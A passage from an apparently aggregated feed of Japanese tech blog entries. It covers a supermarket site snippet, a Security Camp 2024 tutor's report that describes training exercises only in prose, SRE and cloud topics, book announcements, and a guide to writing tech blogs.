https://www.gyomusuper.jp/綺麗に取れました!!bodyContent:お問い合わせ|会社案内|サイトポリシー|個人情報の保護に関する基本方針ホーム商品紹介ミラクルレシピ特集一覧安心安全の取り組み業務スーパーとはGyomucaお問い合わせオンラインショップFC加盟店募集会社案内日本語/ENGLISH/中文NEWITEM新着商品新着ホット&スパイシーヌードルホットでスパイシーなインスタントヌードルです。スパイスをきかせたスープは、ピリッとした辛さの中にも旨みがあり、クセになります!熱湯をかけて粉末スープと調味オイルを加えるだけの簡単調理も魅力。鍋で煮込んでお好みの具材や、ご飯を入るアレンジもおすすめです。5袋入り。詳しくはこちら詳しくはこちらPICKUP!おすすめ商品商品をもっと見る新着パルメザンチーズのリゾットイタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!詳しくはこちらパルメザンチーズ[要冷蔵]詳しくはこちらPICKUP!おすすめレシピレシピをもっと見るSPECIALTOPICS特集特集をもっと見るSNS公式Instagram・公式X(旧Twitter)TweetsbyGyomusuperOFCL公式Instagram公式X(旧Twitter)2024年8月30日台風10号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風10号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風10号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月19日フジテレビ「めざましテレビ」で紹介されました2024年8月16日(金)放送のフジテレビ「めざましテレビ」で、業務スーパーの商品が紹介されました。放送局:フジテレビ番組名:「めざましテレビ」放送日:2024年8月16日(金)めざましテレビ2024年8月16日台風7号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風7号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風7号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月15日【セール情報】9月1日(日)から「お買い得まみれ!!総力祭日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭日頃のご愛顧感謝セール」を開催いたします。国内関連工場のオリジナル商品や海外直輸入商品など、とにかくお得なアイテム盛りだくさん!全国の業務スーパーで皆さまのご来店を心よりお待ちしております。<セール期間>【第1弾】2024年9月1日(日)~9月30日(月)【第2弾】2024年10月1日(火)~10月31日(木)<セール対象店舗>全国の業務スーパー各店(※一部店舗を除く)セール特設ページはこちら2024年8月12日台風5号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風5号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業時間や休業のご確認につきましては、台風5号の影響による営業に関するお知らせをご確認ください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。一覧を見る『世界の本物』を直輸入!業務スーパーには、世界の国々で現地の人々に愛されている『世界の本物』が盛りだくさん!めずらしいものから日本でもなじみのあるものまで、厳選したアイテムを、高品質&ロープライスで取りそろえています!安さの秘密自慢の国内自社工場の『オリジナル』国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!安全・安心の秘密スポーツには不思議なチカラがあります。こども達の心や体を強くするとともに、アスリート達の真摯な姿は多くの人々に笑顔と感動を与え、夢に向かって挑戦することの大切さを教えてくれます。神戸物産はヴィッセル神戸、横浜DeNAベイスターズ、神戸ストークスのオフィシャルスポンサーとして地域スポーツの発展を支援し、人々のくらしを応援します。店舗検索特売情報ホームWEBチラシ店舗案内ミラクルレシピ商品紹介直輸入商品国内自社工場商品業務スーパーとは安さの秘密安全安心の取り組み商品開発事前チェック現地工場チェック品質安全検査商品検証FC加盟店募集業務スーパー5つの強み業務スーパーの特徴オープンまでのプロセス体制について契約概要・加盟条件物件・商品のご提案募集お問い合わせ|会社案内|サイトポリシー|個人情報の保護に関する基本方針〒675-0063兵庫県加古川市加古川町平野125番1\xa92018-GyomuSuperAllRightsReserved.","isoDate":"2024-08-31T13:34:16.000Z","dateMiliSeconds":1725111256000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"セキュリティ・キャンプ 2024 参加記","link":"https://moz-security.hatenablog.com/entry/2024/08/31/121836","contentSnippet":"8月12日から8月16日までの5日間で開催されたセキュリティ・キャンプ2024 全国大会のBクラス(プロダクトセキュリティ)にチューターとして参加したので、体験記を書き残す。昨年、Bクラス(当時は、Webセキュリティ)を修了し、今年チューターとして、もう一度セキュリティ・キャンプに参加することになった。昨年の参加記は、以下である。今読み返してみると、次はネクスト受講生かチューターで参加したいということを書いており、今年チューターとして参加できたのはとてもよかった。moz-security.hatenablog.com日程表Bクラスの日程は、このような感じだった。6つの専門講義があり、それに加えて共通講義やグループワーク, 特別講演などがあり、毎日8:30~21:00に稼働するというハードスケジュールとなっている。セキュリティ・キャンプ Bクラス スケジュール共通講義、グループワーク共通講義では、ゲームセキュリティや法律、人の心理・行動特性についての講義があった。また、毎日グループワークの時間が30分あり、1グループ4人構成でセキュリティ教育について話しあっていた。コンピュータを全く知らない主婦や子供からコンピュータサイエンスをある程度学んだ学生などさまざまなターゲットに対して、いろいろなアプローチでセキュリティ技術を伝えようとするアイデアがあり、ディスカッションや最終発表を見ていてとてもおもしろかった。専門講義Bクラスでは、プロダクト開発におけるセキュリティをテーマにして、講義が構成されていた。全て4時間の講義で、座学と演習の両方を行う形式になっている。1日目のホームルームでプロデューサーから、講義設計にあたり未知との遭遇の最大化を目標としている旨を伝えられた。知らないこともたくさん出てくるだろうが、「アウトプットを行う→フィードバックを得る→新たな知らないことが生まれる」のループを回すことをセキュリティキャンプを通じて、また、セキュリティキャンプが終わった後も行うことが大事だということを話されていた。また、技術の話だけでなくお金の話も講義に盛り込むようにしており、コストとセキュリティのバランスを見定めるといった、より社会で行われていることを体感して、社会に出た後に活躍してほしいというお話があった。そういう意味で、プロデューサーがBクラスは社会人クラスと言っていたのもおもしろかった。これら2つのことは、講義を全て終えた今、改めてとてもプロデューサーの講義設計に対する意図や思いを感じている。2日目B1: プロダクトセキュリティの展望セキュリティ・キャンプ2024 全国大会 B1 プロダクトセキュリティの展望(#seccamp2024) | ドクセル\\"プロダクトセキュリティの展望\\" では、プロダクトの定義とそれが指す範囲の広さ、非機能要件であるセキュリティと組織としての向き合い方について学んだ。なかでも、社会と技術と資産を面で見れるようになるとセキュリティを俯瞰して見ること・考えることができ、面で見れるようになるためには、社会の変化に敏感になることが重要であるということはとても記憶に残っている。セキュリティを仕事にする上で新技術の把握や継続的な学習は大事だと言われているが、この講義を通して再認識させられた。また、プロダクトの価値を早く・大きく・継続して届けるための技術についても学んだ。これらはお金が密接に絡んでくる点で経営側の視点も必要であり、今まで考えたことがなかったが、組織で自分が影響力を発揮していくためには押さえておく必要はあるし、今後勉強していきたいと思った。最後に、組織規模に応じたセキュリティ対策について学んだ。セキュリティ対策が必要だといっても実際に行うには導入・運用にコストがかかるため、コストとセキュリティのバランスが必要となってくるし、その判断が難しいのはよく言われているためすでにわかっていた。しかし、ではどれくらいの組織規模に対してどのような対策を行うのかということは今まであまり考えたことなく(学生で考える人はあまりいないと思っているが)、グループディスカッションや発表、講師以外の方のお話なども含めてとても学びになった。いろんな会社のいろんな役職の人たちがいるのもセキュリティ・キャンプのよさであると思う。B-2: 情報セキュリティ戦略戦術ワークショップ\\"情報セキュリティ戦略戦術ワークショップ\\" では、組織のセキュリティ対策の進め方やインシデントハンドリングについて学んだ。この講義でも、やはり組織規模に応じたセキュリティ対策についてのお話はあり、やらないといけないことはたくさんあるがどれから取り組むかを考えるといったときに、ベストプラクティスやガイドライン、フレームワークは非常に参考になることがわかった。また、インシデント対応において、まず気付ける仕組みと改善の実施が重要であることがわかった。たしかにログが残っていたり、インシデント発生時にアラートが出なかったりすると、そもそもインシデントに気付けない。そのため、セキュリティ担当でなかったとしても、インシデントに気付くために一開発者としてどのような情報(ログ, メトリクス, アラート)が必要なのかは考えるようにしたいと思った。演習では、受講生がグループでインシデントハンドリングを体験しており、チューターとしてはチャットツールでの関係者とのやり取りを見ていた。インシデントというと私は外部の攻撃者からのサイバー攻撃を想像してしまうが、それだけではない。メールの誤送信などといったオペレーションミスや部署間での情報共有の不足、内部不正なども、ちゃんとインシデントであり、それも意外と発生してしまうことがあることを学んだ。演習で関係者とのやりとりがなかなかうまくいかず、大変そうだったのはとても記憶に残っている(覚えるべきとこはそこじゃないw)。3日目B-3: セキュリティ監視入門セキュリティ監視入門 | Notion\\"セキュリティ監視入門\\" では、監視の重要性と監視アーキテクチャの設計・構築について学んだ。監視をする上で最も重要で、最初に考えなければいけないのはなぜ監視するのか・何のために監視するのかであり、そこが曖昧であると例え監視を行っていて異常を見つけたり、アラートが出たりしても、その後の対応に繋がらないということはとても頭に残っている。この講義でもB-1に引き続いて、組織規模に応じた監視アーキテクチャの構築やSOCやCSIRTといった組織の構築を学んだ。どれだけのコストをセキュリティ対策にかけるかは経営判断だが、現場で何が行われているのかやどのようなデータがどこに存在しているかは把握していなければ、セキュリティ監視を行うことやそれにかかるコストを見積もることはできない。ログの対象となるデータは無限と言っていいほど存在しており、どのログを取るのかとコストのバランスを考えることがセキュリティ担当者としての腕の見せ所であることがわかった。また、セキュリティ監視において大規模な運用が始まると不可逆性はかなり高いことも学んだ。これは、データ移行が大変になるからという理由だったが、私自身今までトライアンドエラーを繰り返すことをよしとしていたため、セキュリティ監視というケースではそれがあまりふさわしくないこともあることがわかった。B-4: モダンなプロダクト開発を攻撃者の視点で捉える\\"モダンなプロダクト開発を攻撃者の視点で捉える\\" では、攻撃者がどうやって組織に対して攻撃を行うのかについて学んだのちに、それにやられないために防御側はどのような対策が必要なのかということを考えた。講義を通して、攻撃側と防御側の両方の視点でセキュリティを考えることができたのは非常に学びになった。なかでも、攻撃者はフロー(グラフ)で考え、防御側はリストで考えるというのはとても記憶に残っている。攻撃側は一点だけでも突破できればいいのに対して、防御側は全てを守らなければならない。加えて、多層防御を行い、全てを守っていると思っていても、攻撃者は全く思わぬところからクリティカルな攻撃を行うかもしれない(VPNの脆弱性を突いて初期侵入とかではなく、物理的に侵入するとか)。そのため、セキュリティ担当者として組織を守るには、ベストプラクティスやガイドラインを参考にしつつ、明確なWhyを持ったセキュリティ対策を取るように意識することが重要になってくるとわかった。ゼロトラストやDevSecOpsといった新しく出てきたワードに縛られないようにすることも重要であり、それもWhyを意識することで具体的なセキュリティ対策の実現という本質的な部分に焦点を当てることができることを学んだ。大学や勉強会では防御について学んだり考えたりすることが多いが、攻撃側の視点を養うためにも、もっとHack The Boxを頑張ろうと思う。4日目B-5: 設計・開発・テストにおけるセキュリティの実践と考え方を知ろう\\"設計・開発・テストにおけるセキュリティの実践と考え方を知ろう\\" では、プロダクト開発において考慮すべきセキュリティと実践方法について学んだ。プロダクトをセキュアにするというと、実装する際に脆弱性を作らないよう気をつけたりリリース前に脆弱性診断を行ったりすることを私はイメージする。しかし、要件定義・設計・実装の段階にテスト工程を前倒しにするというShift-leftの理解と実践により、開発工程の早い段階で脆弱性の検出を行うことが重要であることがわかった。ただ、早い段階で脆弱性を発見しようとするとやらないといけないことが大量に増えるため、できるだけ自動化して、人でないとできない箇所に開発者が注力できる仕組みを作ることが大事だと学んだ。セキュリティに携わるものとして、意識改革やセキュリティ教育ももちろん大事だが、技術者である以上、仕組みで解決できないかという視点は大事だと思う。脆弱性を自動で発見する方法としてはSASTやDASTというものがあり、これらのツールを使ってスキャンを行うことを学んだ。これをCI/CDのパイプラインに組み込むことで、例えば、マージされたタイミングでSASTを行い、ステージング環境にデプロイしたタイミングでDASTを行うといったことができる。これにより、仮に開発者に全くセキュリティの知識がなくても、ある程度のセキュリティは担保することができることがわかった。B-6: クラウドネイティブなシステムを保護するための実践的KubernetesセキュリティGitHub - kyohmizu/seccamp2024-B6\\"クラウドネイティブなシステムを保護するための実践的Kubernetesセキュリティ\\" では、Kubernetesとは何かということととコンテナやKubernetesに対する脅威・セキュリティ対策について学んだ。なかでも、3章の攻撃シナリオを学び、実際に演習したことは記憶に残っている。Kubernetesやコンテナに対する攻撃手法として、コンテナブレイクアウトや認証情報の窃取があることはすでに知っていたが、それ単体で攻撃として成り立つわけではなく、攻撃の中の一工程に過ぎない。そのため、演習を通して、OSコマンドインジェクションの脆弱性を突いた後、徐々に範囲を拡大していき、最終的にKubernetesクラスタのAdmin権限取得まで行うとという経験ができたのはよかった。Kubernetesに対する脅威を身にしみて実感できたし、攻撃者が範囲を拡大していく(ラテラルムーブメント)どこか一箇所でも防ぐことができればここまでやられなかったかもしれないといった防御視点でも考えることができた。講義全体を通して昨年に引き続き、B-1からB-6まで非常に幅広い分野の講義があった。どの講義も講師の方が4時間で終わるか怪しいと講義前から言うほどのボリュームになっており、チューターとして参加しながらも、全てを理解できているわけではない。また、講義の位置付けとしては一応入門となっているし、講義資料には大量のリンクが貼ってある。これは、もっと勉強することはあるよというメッセージ?だろう。勉強するための足がかりも与えられた今、これらを活用して、今後さらに勉強していきたいと思う。また、どの講義でもコストとセキュリティについて取り上げられており、組織の中でセキュリティ対策を進めていこうと思うとコストとセキュリティを見定める能力(費用対効果を考える能力)は求められることを強く実感した。チューターとして立ち位置としては講師と受講生の間となるため、セキュリティ・キャンプ全体を通して、昨年よりもいろんな人といろんな話をすることができた気がする。今思い返すと、受講生として参加した昨年は講義に食らいつくのに必死だったし、自分のスキルに自信もなく、講師の方にも積極的に話を聞きにいこうとしていなかった。今年はチューターとして講義全体を俯瞰して見ることができ、受講生として参加したときよりも少しだけ気持ちに余裕が持てたのはよかったと思う。一方で、受講生の知識・スキルの高さには驚かされ、チューターと受講生というよりは、同じ関心を持つ同世代の仲間という気持ちで講義だけに限らず、休憩時間やご飯の時間も含めてたくさんの話ができたし、そのなかで勉強になることも多かった。チューターとして参加してみて、受講生が演習で困っているときに一緒に解決できたときには私も嬉しかったし、教えたり技術を広めることの面白さを少しだけ感じることができた気がする。セキュリティ・キャンプを修了した方には、チューターとしてセキュリティ・キャンプにもう一度参加することも検討に入れるのをお勧めしたい。感想どの講義も濃密で、チューターとして参加した今年も私にとって初めて知ることも多かった。勉強するきっかけをたくさん与えられるので、キャンプ中はもちろんのことキャンプ後も継続して勉強するネタが見つかるし、私自身これからもっと勉強したいと思う。また、受講生やチューターとして参加している同世代のすごい人たちやセキュリティの第一線で活躍している講師の方や関係者の方を見て話すことができ、今年もとても刺激を受けることができた。講義資料自体は講師の方が公開されているものも多くある(Bクラスの講義に限らず)ため、講師の方と話したり、みんなで議論したりできることこそがセキュリティ・キャンプに参加することの一番のよさであると思う。セキュリティに興味がある人はもちろん、もっと広くコンピュータに興味がある人全員にセキュリティ・キャンプを勧めたい。昨年書いていたので、今年も書いておこうと思う。来年はネクストの受講生としてまた戻ってきたい。Bクラス ほかの方のブログhack.nikkei.comzenn.dev","isoDate":"2024-08-31T03:18:36.000Z","dateMiliSeconds":1725074316000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"SRETT#10 ~ 夏のSRE祭り!アーカイブ動画公開!","link":"https://shu-kob.hateblo.jp/entry/2024/08/30/230631","contentSnippet":"shu-kob.hateblo.jp2024年8月23日に弊社スリーシェイクのコミュニティ勉強会「SRETT #10 ~ 夏のSRE祭り!」が開催されました。www.youtube.comアーカイブ動画も公開されています!当日ご参加できなかった方もぜひご覧ください!自分は当日誘導係をやっていて、最初の菱田さんのセッション「SRE NEXT 2024 で形にしたバトンを渡せる仕組み」は最後のちょびっとだけしか聴けていないから、観ようかな。","isoDate":"2024-08-30T14:06:31.000Z","dateMiliSeconds":1725026791000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"オライリーのAWS生成AI本","link":"https://shu-kob.hateblo.jp/entry/2024/08/29/234143","contentSnippet":"AWSではじめる生成AI ―RAGアプリケーション開発から、基盤モデルの微調整、マルチモーダルAI活用までを試して学ぶ作者:Chris Fregly,Antje Barth,Shelbee EigenbrodeオライリージャパンAmazonそういや、オライリージャパンからAWSの生成AI本出てますね。欲しいと思いながらも買うてない。現状、自身の仕事のほとんどはGoogle cloudなので、AWS書籍どうしようかと思ってますが、面白そうなら買うてみるしか!翻訳はAWS Japanの久富木 隆一さん。AWSの中の人が翻訳しているので確かでしょうね!","isoDate":"2024-08-29T14:41:43.000Z","dateMiliSeconds":1724942503000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"GitLab Runnerによる簡易的なCICDの設計と実装","link":"https://sreake.com/blog/gitlab-runner-cicd/","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post GitLab Runnerによる簡易的なCICDの設計と実装 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-08-29T05:34:28.000Z","dateMiliSeconds":1724909668000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「SREをはじめよう」(Becoming SRE邦訳)が出版","link":"https://shu-kob.hateblo.jp/entry/2024/08/28/235736","contentSnippet":"SREをはじめよう ―個人と組織による信頼性獲得への第一歩作者:David N. Blank-EdelmanオライリージャパンAmazon「Becoming SRE」の邦訳である「SREをはじめよう」が2024/10/8オライリージャパンから発売されます!翻訳は、オライリーのSRE系の邦訳を数多く手掛けられてきた山口 能迪さん(Google所属)個人がSREになる、組織がSREになるという二面で書かれているようで、今からとても楽しみです!","isoDate":"2024-08-28T14:57:36.000Z","dateMiliSeconds":1724857056000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloud エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス","link":"https://shu-kob.hateblo.jp/entry/2024/08/27/235840","contentSnippet":"pages.sreake.comイベントで登壇していました。ご参加くださった方はありがとうございました!良い評価をいただけたようで光栄です!今回、「生成AI利活用を進めるためのプロセス」というテーマだったので、普段私があまり話さないことも話せて新鮮でした。genai-users.connpass.com普段は、日本生成AIユーザ会でハンズオンをやっているように、具体的技術を話すことが多いので。今回とても良い経験になりました。今後も良い発表ができるよう精進していきます!","isoDate":"2024-08-27T14:58:40.000Z","dateMiliSeconds":1724770720000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"VPC Latticeについて","link":"https://zenn.dev/k_nagase/articles/vpc_lattice_basic","contentSnippet":"VPC LatticeとはVPC Latticeはサービス間を接続し、監視・通信の暗号化・認証認可などの機能を提供するサービスです。いわゆるLinkerdやIstioのようなサービスメッシュツールのようなイメージで利用できます。具体的には以下のような機能があります。サービス間通信における認証機能(IAM)アクセスログやメトリクスの収集などのモニタリングサービスディスカバリmTLS化ユーザ定義のカスタムドメインでの名前解決 ユースケース複数のプロダクトを各チームが個別にAWSアカウント単位またはVPC単位で管理しており、それらをメッシュ上に通信可能にするような...","isoDate":"2024-08-27T07:38:56.000Z","dateMiliSeconds":1724744336000,"authorName":"Kohei Nagase","authorId":"k-nagase"},{"title":"後継者不足のCOBOLを生成AIに引き継ぎ","link":"https://shu-kob.hateblo.jp/entry/2024/08/26/235854","contentSnippet":"www.itmedia.co.jpIT media AI+より。虚構新聞かと思いましたが(笑)、本当にようです。ベトナムの研究者が論文を出したのですね。日本でもCOBOLで書かれたシステムはまだまだ残っていますが、COBOL書けるエンジニアが高齢になってきて、後継者不足でもあります。海外もベトナムも同様なのですね。リプレイスしていくのも大事かと思いますが、全部のCOBOLシステムのリプレイスも難しいでしょうし、リプレイスしつつも、生成AIに書かせるのが現実解なのかもしれません。","isoDate":"2024-08-26T14:58:54.000Z","dateMiliSeconds":1724684334000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"テックブログを書く時にやっていること","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/26/210112","contentSnippet":"はじめにテックブログの執筆プロセスは、エンジニアの経験や知識を活用し、多様な情報源から価値ある内容を抽出し、読者にとって有益な形に整理する作業です。この過程では、自身の業務経験はもちろん、他のブログ記事や技術書籍など、幅広い情報を取り入れ、それらを咀嚼し、独自の視点で再構築します。この時に困難は伴いますが、同時に自身の考えを整理し、新たなアイデアを生み出す貴重な機会となります。 多くのエンジニアと同様に、私もブログのネタが自然に湧き出てくるタイプではありません。そこで、試行錯誤を重ねて確立した、効果的なブログ執筆方法を皆さんと共有したいと思います。この方法は、情報の収集から記事の執筆まで、段階的なアプローチを採用しています。各ステップを意識的に踏むことで、自分として納得できる記事を継続的に生み出すことが可能になります。以下に、私が日々実践しているプロセスを詳しく説明していきます。1. データ収集まずは、様々な源から幅広く情報を集めることから始めます。そして、実際に手を動かして経験を積みます。これらはすべて、潜在的なブログのネタになります。日々の業務で気づいたことをメモするデバッグ中に遭遇した興味深い問題や、その解決プロセスを詳細にメモしましょう。これらの経験は、他のエンジニアにとって貴重な学びとなる可能性があります。Slack、Notion、あるいは物理的なノートなど、自分に合った方法でメモを取る習慣をつけることが重要です。本を読みまくる技術書を定期的に読むことで、新しい知識や視点を得ることができます。読んだ本の要点や自分の見解をまとめることで、読者に価値ある情報を提供できます。月に1-2冊のペースで読書し、その内容を整理することをおすすめします。同僚との会話を大切にする昼食時や休憩時間の雑談でも、重要なトピックが浮上することがあります。例えば、マイクロサービスの課題について話し合った内容を、より深く掘り下げてブログ記事にすることができます。会話の中で出てきた興味深いポイントをメモする習慣をつけましょう。業界のニュースや記事を読む毎日30分程度、技術ブログやニュースをチェックする時間を設けましょう。最新のトレンドや技術動向をまとめた記事を定期的(例えば週1回)に書くことで、自身の知識も整理でき、読者にも価値を提供できます。実際に手を動かして試してみる興味のある新しいフレームワークやツールを使って、小規模なプロジェクトを作成してみましょう。この学習過程と気づきをステップバイステップで記事にまとめることで、読者に実践的な情報を提供できます。週末や空き時間を利用して、定期的に新しい技術に触れる機会を作りましょう。個人プロジェクトで開発する最近話題のツールや技術を自分のプロジェクトに組み込んでみましょう。この統合プロセスを詳細に記録し、遭遇した課題や解決策、得られた知見をブログ記事にまとめることで、読者に実用的な情報を提供できます。月に1つは新しい技術を個人プロジェクトに取り入れる目標を立てるのも良いでしょう。コードリーディングを習慣化するオープンソースのプロジェクトのコードを定期的に読むことで、優れた設計パターンや実装テクニックを学ぶことができます。興味深い発見があれば、それを解説する記事を書いてみましょう。週に1回、30分程度の時間をコードリーディングに充てることをおすすめします。2. データを創発させる集めたデータを基に新しい関連性を見出す創造のプロセスは、ブログ記事作成の核心部分です。既存の要素を新しく組み合わせることで、独自の洞察を生み出します。異なる分野の知識を結びつける人文科学や自然科学など、エンジニアリング以外の分野の本や記事を読むことで、新しい視点を得ることができます。例えば、心理学の概念をソフトウェアアーキテクチャの設計に応用するなど、意外な関連性を探求し、ブログ記事のユニークなテーマとして扱いましょう。月に1冊は異分野の本を読むことをおすすめします。原理原則に立ち返る様々なフレームワークや技術を比較分析する中で、それらの根底にある共通の設計原則や思想を見出すことができます。これらの普遍的な原則をブログの核心テーマとして扱うことで、読者に深い洞察を提供できます。技術書を読む際は、表面的な機能だけでなく、その背後にある設計思想にも注目しましょう。問題を抽象化するチームで直面した具体的な問題を一般化し、より広い文脈で捉え直すことで、多くのプロジェクトに適用できる普遍的な課題が見えてくることがあります。この抽象化された問題解決アプローチをブログにまとめることで、様々な状況に応用可能な知見を読者に提供できます。問題に直面したときは、「これは他のどんな場面でも起こりうるか?」と自問する習慣をつけましょう。技術のクロスオーバーを探す異なる技術領域や手法を組み合わせることで、新しいアイデアが生まれることがあります。例えば、機械学習の手法をWebアプリケーション開発に適用するなど、異分野の融合を探求し、そのアイデアをブログで提案してみましょう。週に1回、「今取り組んでいる技術は、他のどの分野と組み合わせられるか」を考える時間を設けるのも良いでしょう。3. 放置するこのステップが意外と大事です。わざとブログのアイデアを放置することで、無意識のうちに考えが熟成されます。完全に忘れるブログのアイデアをメモした後、意図的に1週間程度そのことを考えないようにします。この期間が経過した後に再度内容を見直すと、新鮮な目で客観的に評価できることがあります。Notionやトレロなどのツールを使って、アイデアを整理し、定期的に(例えば週1回)見直す時間を設けるのが効果的です。全く違う活動に没頭する技術的な思考から離れ、全く異なる活動に取り組むことで、思わぬインスピレーションを得ることがあります。例えば、自然の中でのアクティビティや芸術活動などに時間を費やしてみましょう。週末や休暇を利用して、定期的に技術以外の活動に没頭する時間を作ることをおすすめします。眠りにつく直前まで考え、そして手放す就寝前にブログの構成や内容について考えを巡らせ、その後意識的に手放すことで、睡眠中に無意識的な処理が行われることがあります。翌朝、新たな視点やアイデアが浮かんでくることも少なくありません。寝る前の15分間を「ブログアイデアタイム」として設定し、思考をノートに書き出してから眠るという習慣をつけてみましょう。4. もう一度考え続けてひらめきを待つアイデアを温めた後、再び記事の構想に取り組む時間です。この段階では、長期的な視点を持ちつつ、具体的な記事の形を模索します。過去のメモを読み返す1ヶ月以上前に書いたアウトラインや断片的なメモを見直すことで、当初気づかなかった重要なポイントが浮かび上がってくることがあります。これらの新たな気づきを記事の核心部分として活用しましょう。月に1回、過去のメモを整理し、再評価する時間を設けることをおすすめします。技術の未来を想像する現在の技術トレンドを分析し、5年後、10年後の技術の姿を想像してみましょう。この長期的な視点から現在の技術の使い方を解説することで、読者により価値のある洞察を提供できます。四半期に1回程度、技術の将来予測に関する記事を書くことを目標にしてみてください。複数の記事案を比較する同じテーマについて、異なるアプローチや切り口で3つ程度の記事案を考えてみましょう。それぞれの特徴を比較し、最も読者の役に立つと思われる方向性を選択します。この過程で、当初は思いもよらなかった新しい視点が生まれることもあります。記事を書く前に、必ず複数の構成案を作成し、それぞれのメリット・デメリットを評価する習慣をつけましょう。他の記事との差別化を考える同じトピックに関する既存の記事を徹底的に調査し、自分の経験や知識を活かして、どのような新しい視点や情報を提供できるかを考えます。他の記事にはない独自の切り口や、より深い洞察を加えることで、記事の価値を高めることができます。記事を書く前に、必ず競合する記事を5つ以上読み、それぞれの特徴をメモし、自分の記事の差別化ポイントを明確にしましょう。5. 出てきたアイデアの使い方を考えるいよいよ記事の具体的な構成を考える段階です。技術的な正確さを保ちつつ、読みやすく、実用的な内容にすることが重要です。同時に、記事の質を高め、読者との信頼関係を構築するために、以下の点に特に注意を払ってください。導入部分を工夫する読者の興味を引くために、記事の冒頭で技術が解決できる身近な問題や、その技術がもたらす具体的なメリットを提示します。例えば、「この技術を使うことで開発時間を30%削減できた」といった具体的な数字や、実際のユースケースを紹介することで、読者の関心を高めることができます。コードと説明のバランスを取る技術記事では、コード例と説明文のバランスが重要です。核となる概念を簡潔に説明した後、実際のコード例を示し、そのコードの各部分の詳細な解説を加えます。コードブロックは適度な長さに保ち、長すぎる場合は分割して説明を挟むことで、読者の理解を助けます。自分の経験を織り交ぜる技術の解説に加えて、その技術を実際のプロジェクトで使用した際の経験談を盛り込みます。直面した課題、試行錯誤のプロセス、最終的な解決策など、具体的なストーリーを共有することで、読者にとってより実践的で価値ある情報を提供できます。読者の疑問を予測する自分がその技術を学んだ時に抱いた疑問や、同僚から受けた質問などをリストアップし、それぞれに答える形で記事を構成します。FAQセクションを設けたり、「よくある間違い」といった項目を追加することで、読者の潜在的な疑問に先回りして答えることができます。根拠を示し、判断基準を明確にし、批判的思考を持つ強い主張や比較を行う際は、その根拠と判断基準を明確に示してください。「この方法が最善である」や「AよりBの方が優れている」と述べる場合、なぜそう考えるのか、どのような観点(パフォーマンス、可読性、学習曲線など)で判断したのかを詳細に説明してください。同時に、自説の限界や適用範囲も認識し、「この方法はすべての状況で最適というわけではありません」といった但し書きを加えることで、読者の批判的思考を促します。また、個人の意見や経験に基づく主張と、客観的な事実や統計データを明確に区別してください。「私の経験では...」や「一般的に言われているのは...」といった前置きを適切に使用することで、読者は情報の性質を正確に理解できます。まとめと次のステップを示す記事の最後には、主要ポイントの簡潔なまとめを提供するだけでなく、読者が次に取るべきアクションを具体的に提案します。例えば、その技術をさらに深く学ぶためのリソース、関連する技術やツール、次に挑戦すべき課題などを提示することで、読者の継続的な学習を促進します。さいごにテックブログの執筆は、私たちエンジニアにとって、単なる記事作成以上の意味を持つ活動のはずです。日々の経験や学びを整理し、深め、そして誰かと共有する機会として捉えることができます。完璧を目指すあまり執筆を躊躇するよりも、まずは自分自身が興味を持つテーマから書き始めることが大切だと私は考えています。 このアプローチは、読む人の役に立つかもしれないという期待とともに、執筆者自身の成長にもつながります。ブログを書く過程で、自分の考えを整理し、新たな視点を得られることもあります。それぞれのエンジニアの経験や視点は異なりますから、自分の言葉で記事を綴ることで、誰かにとって新しい気づきを提供できるかもしれません。日々の仕事や学習で得た知識や経験をブログにすることで、自分自身の中で新たな発見があったり、個人的な成長を感じたりすることがあります。また、読んでくれた人からのコメントや反応が、さらなる学びのきっかけになることもあります。最後に、読んでくださっている方々に伝えたいのは、あなたの経験や知識にも必ず誰かにとっての価値があるということです。 